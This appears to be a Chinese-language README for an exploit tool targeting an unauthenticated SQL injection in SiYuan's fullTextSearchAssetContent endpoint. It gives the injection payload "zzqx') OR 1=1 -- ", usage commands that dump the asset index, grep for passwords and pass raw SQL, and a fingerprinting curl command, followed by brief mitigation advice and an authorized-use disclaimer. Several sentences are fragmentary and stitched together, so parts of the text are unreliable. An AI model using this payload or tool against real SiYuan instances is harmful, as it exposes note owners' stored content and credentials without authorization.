通过资产内容搜索端点,在 SiYuan(一个基于 Go 的知识库应用)中存在未认证 SQL 注入。
POST /api/search/fullTextSearchAssetContent 通过将用户控制的 query 值直接拼接进 REGEXP 子句(kernel/model/asset_content.go,assetContentFieldRegexp)且不进行任何转义,从而构建出原始 SQL 语句:
SELECT * FROM `asset_contents_fts_case_insensitive`
WHERE (name REGEXP '<query>' OR content REGEXP '<query>') AND ext IN <types>
query 中的单引号会突破字符串字面量(CWE-89)。当 SiYuan 在未设置访问认证码(Conf.AccessAuthCode == "")的情况下部署时,整个内核会将调用者视为无凭据的管理员,因此该注入完全未认证。method:3 是 REGEXP 逃逸方式;method:2 还会将 query 作为原始 SQL 语句传入。
< 3.7.36806(未设置 accessAuthCode 时未认证)ATTACH DATABASE 到其他 SQLite 文件)——例如,转储操作员索引到笔记中的凭据仅需 Python 3 标准库——无依赖。
# dump the asset-content index (method 3 REGEXP break-out)
python3 exploit.py http://10.10.10.10:6806/
# only rows matching a keyword
python3 exploit.py http://10.10.10.10:6806/ --grep password
# method 2 raw SQL passthrough (select the 7 columns id,name,ext,path,size,updated,content)
python3 exploit.py http://10.10.10.10:6806/ \
--sql "SELECT id,name,ext,path,size,updated,content FROM asset_contents_fts_case_insensitive"
默认载荷为:
query = "zzqx') OR 1=1 -- "
zzqx') 闭合 (name REGEXP '...' 分组,OR 1=1 使 WHERE 子句始终为真,-- 注释掉该行其余部分,包括末尾的 AND ext IN <types>——否则当 types 为空时这会导致语法错误(SiYuan 会输出后面不带任何内容的 AND ext IN ,且内核在 SQL 出错时静默返回零行)。该端点随后返回资产内容索引中的每一行,工具会打印每行的 content。
curl -s http://10.10.10.10:6806/system_stats # or browse http://10.10.10.10:6806/ (no login prompt)
在 6806 端口上无需访问认证码即可加载的 SiYuan 实例可被利用。
... REGEXP ?),并将 method-2 原始 SQL 路径置于管理员检查之后。--accessAuthCode 运行 SiYuan;切勿在未认证状态下暴露它——没有访问认证码时,整个内核 API 以管理员权限开放。仅用于授权的安全测试和教育目的。请仅将其用于您拥有或已获得明确测试许可的系统。